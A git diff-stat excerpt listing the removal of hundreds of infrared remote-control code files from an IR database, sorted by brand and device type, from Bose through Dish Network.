.../_CSV-IRDB_/Bose/CCF Conversion/186,229.ir | 152 - .../_CSV-IRDB_/Bose/CCF Conversion/186,85.ir | 392 - .../_CSV-IRDB_/Bose/Lifestyle/186,1.ir | 266 - .../_CSV-IRDB_/Bose/Lifestyle/186,136.ir | 320 - .../_CSV-IRDB_/Bose/Lifestyle/186,160.ir | 908 - .../_CSV-IRDB_/Bose/Lifestyle/186,161.ir | 296 - .../_CSV-IRDB_/Bose/Lifestyle/186,162.ir | 302 - .../_CSV-IRDB_/Bose/Lifestyle/186,163.ir | 296 - .../_CSV-IRDB_/Bose/Lifestyle/186,164.ir | 296 - .../_CSV-IRDB_/Bose/Lifestyle/186,165.ir | 260 - .../_CSV-IRDB_/Bose/Lifestyle/186,166.ir | 266 - .../_CSV-IRDB_/Bose/Lifestyle/186,167.ir | 260 - .../_CSV-IRDB_/Bose/Lifestyle/186,168.ir | 260 - .../_CSV-IRDB_/Bose/Lifestyle/186,169.ir | 260 - .../_CSV-IRDB_/Bose/Lifestyle/186,170.ir | 272 - .../_CSV-IRDB_/Bose/Lifestyle/186,171.ir | 260 - .../_CSV-IRDB_/Bose/Lifestyle/186,172.ir | 260 - .../_CSV-IRDB_/Bose/Lifestyle/186,173.ir | 260 - .../_CSV-IRDB_/Bose/Lifestyle/186,174.ir | 260 - .../_CSV-IRDB_/Bose/Lifestyle/186,176.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,177.ir | 578 - .../_CSV-IRDB_/Bose/Lifestyle/186,178.ir | 584 - .../_CSV-IRDB_/Bose/Lifestyle/186,179.ir | 572 - .../_CSV-IRDB_/Bose/Lifestyle/186,180.ir | 578 - .../_CSV-IRDB_/Bose/Lifestyle/186,181.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,182.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,183.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,184.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,185.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,186.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,187.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,188.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,189.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,190.ir | 422 - .../_CSV-IRDB_/Bose/Lifestyle/186,191.ir | 350 - .../_CSV-IRDB_/Bose/Lifestyle/186,85.ir | 146 - .../_CSV-IRDB_/Bose/Media Center/1,-1.ir | 8 - .../_CSV-IRDB_/Bose/Media Center/186,136.ir | 284 - .../_CSV-IRDB_/Bose/Music Center/186,133.ir | 146 - .../_CSV-IRDB_/Bose/Music Center/186,213.ir | 230 - .../_CSV-IRDB_/Bose/Music Center/186,229.ir | 146 - .../_CSV-IRDB_/Bose/Music Center/186,85.ir | 278 - .../_CSV-IRDB_/Bose/Receiver/186,160.ir | 26 - .../_CSV-IRDB_/Bose/Receiver/186,75.ir | 806 - .../_CSV-IRDB_/Bose/System/186,85.ir | 140 - .../_CSV-IRDB_/Bose/Tuner/186,85.ir | 134 - .../Bose/Unknown_WAVERADIO/186,-1.ir | 110 - .../_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir | 158 - .../_CSV-IRDB_/Boxlight/Projector/135,78.ir | 26 - .../_CSV-IRDB_/Boxlight/Projector/48,-1.ir | 98 - .../_CSV-IRDB_/Boxlight/Projector/48,206.ir | 8 - .../_CSV-IRDB_/Broksonic/VCR/128,123.ir | 38 - .../_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir | 134 - .../_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir | 158 - .../_CSV-IRDB_/Bush/Light/29,-1.ir | 32 - .../_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir | 188 - .../_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir | 194 - .../_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir | 230 - .../_CSV-IRDB_/ByDesign/LCD/71,-1.ir | 44 - .../_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir | 254 - .../_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir | 242 - .../_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir | 272 - .../_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir | 206 - .../_CSV-IRDB_/CIS BOX/DSS/183,-1.ir | 164 - .../_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir | 188 - .../_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir | 14 - .../_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir | 236 - .../_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir | 14 - .../_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir | 80 - .../_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir | 38 - .../_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir | 68 - .../_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir | 74 - .../_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir | 92 - .../_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir | 152 - .../_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir | 32 - .../_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir | 20 - .../_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir | 152 - .../_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir | 8 - .../_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir | 182 - .../_CSV-IRDB_/CIS BOX/Receiver/25,107.ir | 80 - .../_CSV-IRDB_/CIS BOX/Receiver/25,11.ir | 26 - .../_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir | 14 - .../_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir | 14 - .../_CSV-IRDB_/CIS BOX/TV/1,-1.ir | 92 - .../_CSV-IRDB_/CIS BOX/TV/164,-1.ir | 20 - .../_CSV-IRDB_/CIS BOX/TV/26,26.ir | 74 - .../_CSV-IRDB_/CIS BOX/TV/84,-1.ir | 26 - .../_CSV-IRDB_/CIS BOX/VCR/2,-1.ir | 122 - .../_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir | 158 - .../Cables to Go/VGA Switcher/0,191.ir | 38 - .../_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir | 50 - .../_CSV-IRDB_/Calypso/Amplifier/17,-1.ir | 74 - .../_CSV-IRDB_/Calypso/Control System/1,-1.ir | 290 - .../Calypso/Control System/17,-1.ir | 290 - .../_CSV-IRDB_/Calypso/Control System/7,-1.ir | 188 - .../Cambridge Audio/DVD Player/12,-1.ir | 284 - .../Cambridge Audio/DVD Player/7,-1.ir | 284 - .../Cambridge Audio/Receiver/16,-1.ir | 416 - .../Cambridge Audio/Receiver/19,-1.ir | 80 - .../Cambridge Audio/Receiver/192,192.ir | 212 - .../Cambridge Audio/Receiver/192,63.ir | 116 - .../Cambridge Audio/Unknown_Audio/192,192.ir | 212 - .../Cambridge Audio/Unknown_X40A/16,-1.ir | 116 - .../Camera/Camera Multi Plex/133,115.ir | 146 - .../_CSV-IRDB_/Canalsat/Satellite/10,-1.ir | 182 - .../Canalsat/Unknown_CanalSat/10,-1.ir | 182 - .../Canalsat/Unknown_CanalSatHD/10,-1.ir | 272 - .../_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir | 68 - .../Canon/Unknown_WL-D77/133,118.ir | 212 - .../Canon/Unknown_WL-D80/133,118.ir | 170 - .../Canon/Unknown_WL-DC100/202,177.ir | 50 - .../_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir | 116 - .../_CSV-IRDB_/Canon/Unknown_canon/133,118.ir | 182 - .../_CSV-IRDB_/Canon/Video Projector/129,6.ir | 152 - .../Captain/Unknown_7100usb/4,250.ir | 104 - .../_CSV-IRDB_/Carver/Amplifier/135,123.ir | 200 - .../_CSV-IRDB_/Carver/CD Player/135,123.ir | 362 - .../_CSV-IRDB_/Carver/CD Player/20,-1.ir | 158 - .../_CSV-IRDB_/Carver/CD Player/42,-1.ir | 146 - .../_CSV-IRDB_/Carver/CD Player/60,-1.ir | 206 - .../_CSV-IRDB_/Carver/CD Player/68,-1.ir | 218 - .../_CSV-IRDB_/Carver/CD Player/99,0.ir | 134 - .../Carver/Cassette Tape/130,111.ir | 50 - .../Carver/Cassette Tape/135,126.ir | 38 - .../_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir | 68 - .../_CSV-IRDB_/Carver/Laser Disc/102,0.ir | 26 - .../_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir | 8 - .../_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir | 8 - .../Carver/Pre-Amplifier/135,123.ir | 80 - .../_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir | 38 - .../_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir | 8 - .../_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir | 8 - .../_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir | 8 - .../_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir | 8 - .../_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir | 8 - .../_CSV-IRDB_/Carver/Receiver/0,-1.ir | 8 - .../_CSV-IRDB_/Carver/Receiver/12,-1.ir | 14 - .../_CSV-IRDB_/Carver/Receiver/135,123.ir | 224 - .../_CSV-IRDB_/Carver/Receiver/16,-1.ir | 14 - .../_CSV-IRDB_/Carver/Receiver/17,-1.ir | 14 - .../_CSV-IRDB_/Carver/Receiver/20,-1.ir | 8 - .../_CSV-IRDB_/Carver/Receiver/5,-1.ir | 50 - .../_CSV-IRDB_/Carver/Tuner/135,123.ir | 194 - .../_CSV-IRDB_/Carver/Tuner/16,-1.ir | 14 - .../_CSV-IRDB_/Carver/Tuner/17,-1.ir | 14 - .../_CSV-IRDB_/Carver/Tuner/20,-1.ir | 8 - .../Cary Audio Design/CD Player/4,-1.ir | 218 - .../Cary Audio Design/DVD Player/23,-1.ir | 212 - .../Cary Audio Design/Receiver/19,-1.ir | 236 - .../_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir | 98 - .../_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir | 146 - .../_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir | 158 - .../_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir | 176 - .../_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir | 224 - .../_CSV-IRDB_/Celadon/IR to RS232/123,2.ir | 68 - .../Centrum/Unknown_Gemini/29,-1.ir | 224 - .../_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir | 230 - .../Century Concept/Unknown_dvd/0,246.ir | 104 - .../Channel Master/Satellite/132,99.ir | 194 - .../Channel Plus/Video Switcher/49,235.ir | 32 - .../Chaparral/Unknown_11-5315-1/128,103.ir | 164 - .../Motorized Lift/130,19.ir | 44 - .../Motorized Lift/48,-1.ir | 68 - .../_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir | 236 - .../_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir | 218 - .../_CSV-IRDB_/Cisco/DVR/35,64.ir | 128 - .../Citation/Surround Processor/132,66.ir | 236 - .../Citizen/Unknown_JX-2022C/0,-1.ir | 278 - .../Classe Audio/Amplifier/201,-1.ir | 266 - .../_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir | 98 - .../_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir | 62 - .../Classe Audio/CD Player/134,97.ir | 128 - .../Classe Audio/CD Player/20,-1.ir | 266 - .../_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir | 266 - .../_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir | 110 - .../_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir | 302 - .../Classe Audio/DVD Player/12,-1.ir | 386 - .../Classe Audio/DVD Player/20,-1.ir | 290 - .../Classe Audio/DVD Player/200,-1.ir | 50 - .../Classe Audio/DVD Player/25,-1.ir | 38 - .../Classe Audio/DVD Player/4,-1.ir | 344 - .../Classe Audio/DVD Player/7,-1.ir | 38 - .../Classe Audio/Integrated Amplifier/7,-1.ir | 230 - .../Classe Audio/Pre-Amplifier/16,-1.ir | 326 - .../Classe Audio/Pre-Amplifier/200,-1.ir | 110 - .../Classe Audio/Pre-Amplifier/25,-1.ir | 284 - .../Classe Audio/Pre-Amplifier/3,-1.ir | 374 - .../Classe Audio/Pre-Amplifier/7,-1.ir | 398 - .../_CSV-IRDB_/Classe Audio/SACD/20,-1.ir | 434 - .../_CSV-IRDB_/Classe Audio/SACD/7,-1.ir | 38 - .../Classe Audio/Surround Processor/116,-1.ir | 1046 -- .../Classe Audio/Surround Processor/200,-1.ir | 110 - .../Classe Audio/Surround Processor/25,-1.ir | 758 - .../Classe Audio/Surround Sound/116,-1.ir | 1046 -- .../Classe Audio/Surround Sound/200,-1.ir | 110 - .../_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir | 326 - .../_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir | 38 - .../_CSV-IRDB_/Coby/DVD Player/0,-1.ir | 92 - .../_CSV-IRDB_/Coby/TV/0,127.ir | 218 - .../Colorado Vnet/Music Server/110,146.ir | 92 - .../_CSV-IRDB_/Comcast/Cable Box/0,-1.ir | 536 - .../_CSV-IRDB_/Comcast/Cable Box/1,-1.ir | 20 - .../_CSV-IRDB_/Comcast/Cable Box/14,-1.ir | 8 - .../_CSV-IRDB_/Comcast/Cable Box/15,-1.ir | 56 - .../_CSV-IRDB_/Comcast/Cable Box/27,-1.ir | 146 - .../_CSV-IRDB_/Comcast/Cable Box/62,16.ir | 464 - .../_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir | 20 - .../_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir | 146 - .../Comcast/HD Cable with DVR/0,-1.ir | 260 - .../Comcast/HD Cable with DVR/14,-1.ir | 8 - .../_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir | 164 - .../Compro/Unknown_DVB-T200/128,126.ir | 224 - .../Compro/Unknown_VideoMate-K300/4,15.ir | 290 - .../_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir | 170 - .../_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir | 386 - .../Contour/Unknown_Contour25/65,0.ir | 146 - .../_CSV-IRDB_/Cool Sat/Satellite/64,64.ir | 278 - .../_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir | 188 - .../_CSV-IRDB_/Copland/CD Player/128,114.ir | 188 - .../_CSV-IRDB_/Copland/CD Player/129,49.ir | 50 - .../_CSV-IRDB_/Corvo/Relaybox/27,-1.ir | 50 - .../_CSV-IRDB_/Cox/Digital Cable/0,-1.ir | 182 - .../_CSV-IRDB_/Cox/Digital Cable/1,-1.ir | 20 - .../Cph03x/Unknown_AS-218/134,107.ir | 182 - .../Creative/Unknown_DDTS-100/193,68.ir | 104 - .../Creative/Unknown_INFRA/33,172.ir | 146 - .../Creative/Unknown_JUKEBOX3/33,172.ir | 50 - .../Creative/Unknown_RM-1500/193,68.ir | 200 - .../Creative/Unknown_RM-1800/193,68.ir | 266 - .../Creative/Unknown_RM-850/193,68.ir | 146 - .../Creative/Unknown_RM900/193,68.ir | 362 - .../Creative/Unknown_rm1000w/193,68.ir | 206 - .../_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir | 386 - .../_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir | 386 - .../_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir | 386 - .../_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir | 386 - .../_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir | 386 - .../Crestron/Lighting Controller/30,-1.ir | 50 - .../_CSV-IRDB_/Crestron/Music Server/14,-1.ir | 236 - .../_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir | 98 - .../Crown/Unknown_testinglirc.config/0,-1.ir | 248 - .../Curtis Electronics/Unknown_TV/0,-1.ir | 230 - .../_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir | 164 - .../_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir | 68 - .../Cyberhome/DVD Player/114,205.ir | 242 - .../Cyberhome/Unknown_300-RMC-300Z/114,205.ir | 266 - .../Cyberhome/Unknown_504/114,205.ir | 266 - .../Cyberhome/Unknown_ADL-528/114,205.ir | 266 - .../Cyberhome/Unknown_CH-DVD-302/114,205.ir | 266 - .../Cyberhome/Unknown_CH-DVD/114,205.ir | 254 - .../Cyberhome/Unknown_cyberhome/114,205.ir | 152 - .../Cypress/Unknown_CR-72/64,175.ir | 32 - .../Cyron/Lighting Controller/2,189.ir | 182 - .../_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir | 200 - .../_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir | 230 - .../_CSV-IRDB_/D-LINK/Media Center/8,230.ir | 254 - .../_CSV-IRDB_/D-LINK/Media Center/8,231.ir | 242 - .../_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir | 260 - .../_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir | 146 - .../_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir | 74 - .../DIFRNCE/Unknown_DVD5010S/0,-1.ir | 284 - .../_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir | 206 - .../DK Digital/Unknown_Digital/0,-1.ir | 284 - .../_CSV-IRDB_/DLO/HomeDock/238,135.ir | 254 - .../_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir | 200 - .../_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir | 296 - .../_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir | 194 - .../_CSV-IRDB_/DVDO/Scaler/0,45.ir | 8 - .../_CSV-IRDB_/DVDO/Scaler/132,32.ir | 566 - .../_CSV-IRDB_/DVDO/Video Processor/0,45.ir | 8 - .../_CSV-IRDB_/DVDO/Video Processor/132,32.ir | 236 - .../DVICO/Unknown_FusionRemote/1,-1.ir | 272 - .../_CSV-IRDB_/Da Lite/Screen/0,-1.ir | 20 - .../Daeumling/Unknown_SR200/128,38.ir | 122 - .../_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir | 260 - .../_CSV-IRDB_/Daewoo/TV/20,-1.ir | 56 - .../_CSV-IRDB_/Daewoo/TV/4,-1.ir | 14 - .../_CSV-IRDB_/Daewoo/TV/6,6.ir | 14 - .../_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir | 164 - .../Daewoo/Unknown_97P04701/21,-1.ir | 224 - .../Daewoo/Unknown_97P1R2ZDA0/21,-1.ir | 260 - .../Daewoo/Unknown_97P1RA3AB0/21,-1.ir | 176 - .../_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir | 164 - .../_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir | 230 - .../_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir | 182 - .../_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir | 308 - .../Daewoo/Unknown_DV-F24D/21,-1.ir | 236 - .../Daewoo/Unknown_DVDS150/32,-1.ir | 260 - .../Daewoo/Unknown_R-40A06/20,-1.ir | 164 - .../Daewoo/Unknown_R-40A10/20,-1.ir | 152 - .../Daewoo/Unknown_R-40A15/20,-1.ir | 98 - .../Daewoo/Unknown_R-43A08/20,-1.ir | 134 - .../_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir | 218 - .../_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir | 188 - .../_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir | 236 - .../_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir | 206 - .../_CSV-IRDB_/Daewoo/VCR/21,-1.ir | 212 - .../_CSV-IRDB_/Dantax/DVD Player/0,-1.ir | 260 - .../_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir | 278 - .../Dedicated Micros/Camera Switcher/4,-1.ir | 254 - .../_CSV-IRDB_/Dell/TV/0,28.ir | 218 - .../_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir | 104 - .../_CSV-IRDB_/Dell/Video Projector/79,80.ir | 176 - .../Delphi/Satellite Receiver/27,-1.ir | 290 - .../_CSV-IRDB_/Denon/AV Processor/12,-1.ir | 104 - .../_CSV-IRDB_/Denon/AV Processor/2,-1.ir | 164 - .../_CSV-IRDB_/Denon/AV Processor/4,-1.ir | 14 - .../_CSV-IRDB_/Denon/Amplifier/12,-1.ir | 230 - .../_CSV-IRDB_/Denon/Amplifier/2,-1.ir | 596 - .../_CSV-IRDB_/Denon/Amplifier/4,-1.ir | 224 - .../_CSV-IRDB_/Denon/Amplifier/6,-1.ir | 104 - .../_CSV-IRDB_/Denon/Amplifier/8,-1.ir | 134 - .../_CSV-IRDB_/Denon/Blu-Ray/2,1.ir | 278 - .../_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir | 44 - .../_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir | 344 - .../_CSV-IRDB_/Denon/CD Player/168,-1.ir | 224 - .../_CSV-IRDB_/Denon/CD Player/175,-1.ir | 14 - .../_CSV-IRDB_/Denon/CD Player/4,-1.ir | 44 - .../_CSV-IRDB_/Denon/CD Player/6,-1.ir | 260 - .../_CSV-IRDB_/Denon/CD Player/8,-1.ir | 956 - .../_CSV-IRDB_/Denon/CD Receiver/12,-1.ir | 98 - .../_CSV-IRDB_/Denon/CD Receiver/4,-1.ir | 14 - .../_CSV-IRDB_/Denon/CD Receiver/6,-1.ir | 14 - .../_CSV-IRDB_/Denon/CD Receiver/8,-1.ir | 212 - .../_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir | 98 - .../_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir | 38 - .../_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir | 176 - .../_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir | 38 - .../_CSV-IRDB_/Denon/DAT/4,-1.ir | 194 - .../_CSV-IRDB_/Denon/DVD Player/176,0.ir | 482 - .../_CSV-IRDB_/Denon/DVD Player/2,-1.ir | 8 - .../_CSV-IRDB_/Denon/DVD Player/2,1.ir | 158 - .../_CSV-IRDB_/Denon/DVD Player/4,-1.ir | 62 - .../_CSV-IRDB_/Denon/DVD Player/6,-1.ir | 116 - .../_CSV-IRDB_/Denon/DVD Player/8,-1.ir | 1076 -- .../_CSV-IRDB_/Denon/Laser Disc/168,-1.ir | 266 - .../_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir | 206 - .../_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir | 80 - .../_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir | 86 - .../_CSV-IRDB_/Denon/Processor/12,-1.ir | 206 - .../_CSV-IRDB_/Denon/Processor/2,-1.ir | 392 - .../_CSV-IRDB_/Denon/Processor/4,-1.ir | 44 - .../_CSV-IRDB_/Denon/Processor/4,1.ir | 26 - .../_CSV-IRDB_/Denon/Processor/4,3.ir | 8 - .../_CSV-IRDB_/Denon/Processor/4,5.ir | 8 - .../_CSV-IRDB_/Denon/Receiver/12,-1.ir | 788 - .../_CSV-IRDB_/Denon/Receiver/2,-1.ir | 614 - .../_CSV-IRDB_/Denon/Receiver/2,3.ir | 236 - .../_CSV-IRDB_/Denon/Receiver/4,-1.ir | 302 - .../_CSV-IRDB_/Denon/Receiver/4,1.ir | 1166 -- .../_CSV-IRDB_/Denon/Receiver/4,2.ir | 170 - .../_CSV-IRDB_/Denon/Receiver/4,3.ir | 782 - .../_CSV-IRDB_/Denon/Receiver/4,5.ir | 266 - .../_CSV-IRDB_/Denon/Receiver/4,7.ir | 608 - .../_CSV-IRDB_/Denon/Receiver/6,-1.ir | 146 - .../_CSV-IRDB_/Denon/Receiver/7,4.ir | 182 - .../_CSV-IRDB_/Denon/Receiver/7,5.ir | 176 - .../_CSV-IRDB_/Denon/Receiver/7,6.ir | 380 - .../_CSV-IRDB_/Denon/Receiver/7,7.ir | 248 - .../_CSV-IRDB_/Denon/Receiver/7,8.ir | 242 - .../_CSV-IRDB_/Denon/Receiver/8,-1.ir | 632 - .../_CSV-IRDB_/Denon/Receiver/80,-1.ir | 38 - .../_CSV-IRDB_/Denon/Receiver/96,-1.ir | 56 - .../_CSV-IRDB_/Denon/Receiver/97,-1.ir | 8 - .../_CSV-IRDB_/Denon/Tuner/12,-1.ir | 338 - .../_CSV-IRDB_/Denon/Tuner/2,-1.ir | 86 - .../_CSV-IRDB_/Denon/Unknown/176,0.ir | 230 - .../_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir | 218 - .../_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir | 158 - .../_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir | 158 - .../_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir | 164 - .../_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir | 236 - .../_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir | 332 - .../_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir | 188 - .../Denon/Unknown_denon-rc-251/8,-1.ir | 218 - .../Denon/Unknown_denon-rc-266/8,-1.ir | 230 - .../_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir | 272 - .../Digiquest/DGQ-3300_DVB-T/0,191.ir | 260 - .../Digiquest/DGQ-7600HD_DVB-T/0,191.ir | 254 - .../_CSV-IRDB_/Digiquest/DVB-T/1,254.ir | 212 - .../Digital Music Expres/DMX/38,-1.ir | 134 - .../Digital Projection/Projector/32,-1.ir | 272 - .../Video Projector/32,-1.ir | 452 - .../Digital Projection/Video Scaler/58,-1.ir | 158 - .../Digital Stream/HDTV Tuner/4,2.ir | 212 - .../Digital Stream/Unknown_Stream/18,52.ir | 194 - .../DigitalView/HDTV Tuner/128,-1.ir | 200 - .../DirecTV/Basic Satellite/12,-1.ir | 248 - .../DirecTV/Basic Satellite/7,-1.ir | 152 - .../_CSV-IRDB_/DirecTV/DSS/12,-1.ir | 320 - .../_CSV-IRDB_/DirecTV/DVR/133,48.ir | 434 - .../_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir | 218 - .../_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir | 398 - .../_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir | 14 - .../_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir | 260 - .../DirecTV/Receiver HDDVR/12,-1.ir | 506 - .../DirecTV/Receiver HDDVR/13,-1.ir | 254 - .../_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir | 290 - .../_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir | 284 - .../DirecTV/Receiver HDDVR/64,-1.ir | 32 - .../DirecTV/Receiver HDDVR/71,-1.ir | 14 - .../_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir | 254 - .../_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir | 254 - .../DirecTV/Receiver SDDVR/12,-1.ir | 278 - .../DirecTV/Receiver SDDVR/133,48.ir | 194 - .../_CSV-IRDB_/DirecTV/Satellite/12,-1.ir | 536 - .../_CSV-IRDB_/DirecTV/Satellite/133,48.ir | 284 - .../_CSV-IRDB_/DirecTV/Satellite/4,-1.ir | 8 - .../_CSV-IRDB_/DirecTV/Unknown/12,-1.ir | 26 - .../_CSV-IRDB_/DirecTV/Unknown/12,251.ir | 14 - .../DirecTV/Unknown_G051204/12,-1.ir | 254 - .../_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir | 218 - .../DirecTV/Unknown_HD20-100/12,-1.ir | 158 - .../_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir | 242 - .../_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir | 218 - .../_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir | 260 - .../Dish Network/Satelite DVR/0,0.ir | 254 - .../Dish Network/Satelite DVR/1,0.ir | 158 - .../Dish Network/Satelite DVR/15,-1.ir | 20 - .../_CSV-IRDB_/Dish Network/Satellite/0,0.ir | 668 - .../_CSV-IRDB_/Dish Network/Satellite/0,1.ir | 236 - .../_CSV-IRDB_/Dish Network/Satellite/0,12.ir | 164 - .../_CSV-IRDB_/Dish Network/Satellite/0,2.ir | 176 - .../_CSV-IRDB_/Dish Network/Satellite/0,3.ir | 176 - .../_CSV-IRDB_/Dish Network/Satellite/0,31.ir | 14 - .../_CSV-IRDB_/Dish Network/Satellite/0,4.ir | 284 - .../_CSV-IRDB_/Dish Network/Satellite/0,5.ir | 272 - .../_CSV-IRDB_/Dish Network/Satellite/0,6.ir | 242 - .../_CSV-IRDB_/Dish Network/Satellite/0,7.ir | 284 - .../_CSV-IRDB_/Dish Network/Satellite/1,0.ir | 302 - .../_CSV-IRDB_/Dish Network/Satellite/1,1.ir | 26 - .../_CSV-IRDB_/Dish Network/Satellite/1,12.ir | 56 - .../_CSV-IRDB_/Dish Network/Satellite/1,2.ir | 20 - .../_CSV-IRDB_/Dish Network/Satellite/1,3.ir | 20 - .../_CSV-IRDB_/Dish Network/Satellite/1,4.ir | 110 - .../_CSV-IRDB_/Dish Network/Satellite/1,5.ir | 104 - .../_CSV-IRDB_/Dish Network/Satellite/1,6.ir | 110 - .../_CSV-IRDB_/Dish Network/Satellite/1,7.ir | 92 - .../Dish Network/Satellite/15,-1.ir | 20 - .../_CSV-IRDB_/Dish Network/Satellite/16,0.ir | 26 - .../_CSV-IRDB_/Dish 